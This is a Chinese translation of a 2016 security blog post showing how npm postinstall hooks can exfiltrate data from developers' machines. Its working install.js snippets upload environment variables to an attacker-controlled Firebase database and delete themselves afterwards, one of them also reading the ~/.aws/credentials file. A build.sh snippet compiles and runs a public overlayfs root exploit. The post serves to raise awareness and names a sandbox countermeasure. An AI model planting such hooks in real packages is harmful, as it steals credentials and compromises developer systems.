【技术分享】滥用npm库导致数据暗渡

阅读量166222

|

发布时间 : 2016-12-19 14:48:38

x
译文声明

本文是翻译文章,文章来源:blog.sourceclear.com

原文地址:https://blog.sourceclear.com/all-your-secrets-belong-to-us/

译文仅供参考,具体内容表达以及含义原文为准。

http://p0.qhimg.com/t01b56279e7e1b8952e.png

作者:shan66

预估稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

我们知道,像npm这样的程序包和依赖库管理器通常都允许命令执行作为构建过程的一部分。命令执行为开发人员带来了一个简单方便的机制,使得他们可以通过编写脚本来完成构建过程中的各种任务。例如,npm允许开发人员使用pre-install hook和post-install hook来执行各种任务。在开始构建之前,可以使用pre-install hook来编译所需的本地库。post-install hook可以用于构建完成之后的清理工作。

在这篇博文中,我们将介绍攻击者是如何利用npm从开发人员的机器中泄露情报的。虽然本文展示的攻击场景是针对npm来说明的,但类似的攻击也可以通过其他软件包管理器来完成,比如gradle。 


漏洞攻击

为了证明数据渗漏的可行性,我们讲介绍三种不同的情形。对于每种情形,攻击者只需要取得已经发布的npm包,然后设法让开发人员使用npm install命令来安装它就行了。

我们首先创建一个npm包,并使用package.json文件中的post-install hook来指定一个需要执行的任务。该任务可以是shell脚本,甚至可以是另一个JavaScript程序。例如,如果我们希望在npm install命令之后运行一个shell脚本build.sh,我们可以执行以下操作: 

{
  "name": "a-legit-package",
  "version": "0.2.0",
  "description": "This package runs a script after installation",
  "main": "app.js",
  "scripts": {
    "postinstall": "sh build.sh"
  },
...
}

如果我们想要运行一个JavaScript任务,假设该任务位于名为install.js的文件中,那么我们还可以将其添加到package.json并使用Node来运行它,具体如下所示:

{
  "name": "a-legit-package",
  "version": "0.2.0",
  "description": "This package runs a script after installation",
  "main": "app.js",
  "scripts": {
    "postinstall": "node install.js"
  },
...
}

泄露环境变量

一旦我们获得了在构建过程中代表用户执行任务的能力,那么就可以利用它来泄露敏感信息,例如环境变量。例如,为了配置AWS CLI,需要设置以下环境变量: 

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2

如果这些环境变量在开发人员构建node.js项目时已经存在,那么它们可能会被上传到受攻击者控制的位置。为了避免引起怀疑,不要将信息转储到一些容易引起怀疑的IP地址或潜在的可疑域,相反,我们可以使用流行后端作为服务来存放这些信息,例如Firebase。将下面显示的JavaScript代码段放入install.js文件中,在构建之后就会运行。这样的话,它会将所有环境变量复制到Firebase数据库。在退出进程之前,clean()方法会从系统中删除原始的install.js文件。这样做的好处是,能够确保在开发人员的机器上完成构建之后,不会留下任何的痕迹。

 
var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
 
dbRef.push({status : "leaked env vars", message : process.env}, clean());
 
function clean(){
  try{
    fs.unlinkSync("install.js");
  }
  catch (ex){}
  process.exit(0);
}

攻击者可以监控Firebase数据库(https://abcde-fg-1234.firebaseio.com/),并通过捕获的环境变量来查找包含AWS密钥的变量:                               

http://p9.qhimg.com/t01bd5b6267da2bda31.png

 

泄漏敏感文件

如果AWS密钥未存储在环境变量中,攻击者仍然可能通过其他方式来泄漏敏感信息。举例来说,AWS配置指南建议使用?/ .aws / credentials文件来管理多个命名的配置文件。而这些命名的配置文件可能会存储有多个AWS访问密钥。

 
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
 
[user2]
aws_access_key_id=AKIAI44QH8DHBEXAMPLE
aws_secret_access_key=je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

由于构建post-install任务时是以用户的相应权限来运行的,因此可以将文件的内容复制到攻击者控制之下的位置。我们可以将install.js修改为下面这样,从而捕获凭证文件中的敏感信息:

var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
 
var filepath = process.env.HOME+'/.aws/credentials';
var data = fs.readFileSync(filepath,'utf8');
dbRef.push({status : "leaked sensitive files", message : process.env}, clean());
 
function clean(){
  try{
    fs.unlinkSync("install.js");
  }
  catch (ex){}
  process.exit(0);
}

如果开发人员的机器上存在?/ .aws / credentials文件的话,则很可能会包含多个AWS密钥。与前面的环境变量泄露漏洞相比,这种攻击可能会导致更加敏感的信息泄漏问题。

http://p1.qhimg.com/t018a70b70e660796ca.png

本地权限提升

npm包还可以执行针对底层系统的提权漏洞利用代码。最近在ubuntu系统中发现的的一个漏洞(CVE-2015-1328),允许本地攻击者利用overlayfs组件的缺陷获取root。据报道称:

“当在上层文件系统目录中创建新文件时,overlayfs文件系统未能正确检查此文件的权限。而这一缺陷则可以被内核中没有权限的进程所利用,只要满足该进程CONFIG_USER_NS=y及overlayfs所拥有得FS_USERNS_MOUNT标志,即允许挂载非特权挂载空间的overlayfs。而这一条件是Ubuntu 12.04、14.04、14.10和15.04版本中的默认配置,所以这些版本的Ubuntu系统都受此漏洞影响。

ovl_copy_up_ *函数未能正确检查用户是否有权限向upperdir目录写入文件。而该函数唯一检查的是被修改文件的拥有者是否拥有向upperdir目录写入文件的权限。此外,当从lowerdir目录复制一个文件时,同时也就复制了文件元数据,而并非文件属性,例如文件拥有者被修改为了触发copy_up_*程序的用户。”

目前,该漏洞的利用代码已经被公开。该漏洞利用代码(ofs.c)能够在目标机器上打开一个具有管理员权限的shell。攻击者一旦获得这个shell,就可以用它在系统中安装永久性的后门。

我们知道,借助于npm中的post-install hook,像构建和运行这种漏洞利用代码这样的事情,简直是小菜一碟。攻击者可以创建一个含有以下内容的build.sh文件,并将其作为post-install任务来运行。

OS=`uname -s`
if [ "$OS" = "Linux" ]
then
  gcc ofs.c
  ./a.out
else
       ...
fi

安全影响

目前,所有流行的构建和包管理器(gradle,maven,npm等)几乎都允许执行系统命令,因此,它们都会收到本文描述的安全漏洞的影响。就npm来说,最近发生了一次攻击,攻击者成功上传了一个恶意软件包,当它作为node.js项目中的依赖库添加时,会删除开发人员的主目录。尽管之前就有人提醒npm模块的这种安全问题,但遗憾是的,目前似乎还没有简单的方法来防止这种攻击。

像从用户的主目录中删除文件这样的直接攻击是很容易检测到的,通常也会引起人们的注意。然而,如果恶意行为更加隐蔽,例如本文介绍的静默窃取信息或安装后门这样的攻击,则可能更难以检测和跟踪。在npm上发布包是非常容易的事情,它只需要一个电子邮件验证即可。随着开发人员数量的增加,以及越来越常见的安装临时包的行为,这种安全漏洞带来的风险只会与日俱增。


安全对策

Build Inspector是一个用于连续集成环境的开源取证沙盒,您可以使用它来检查CI环境。这个工具能够监控网络活动,文件系统更改和运行的进程,从而更容易发现意外和潜在危险的活动。使用这个沙盒环境时,构建操作将在隔离的情况下进行,从而不会影响机器。运行Build Inspector时,您将获得构建服务器上所有潜在危险活动的报告,您可以借此发现上面提到的安全隐患,从而进一步做出相应的处理。


本文翻译自blog.sourceclear.com 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
shan66
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66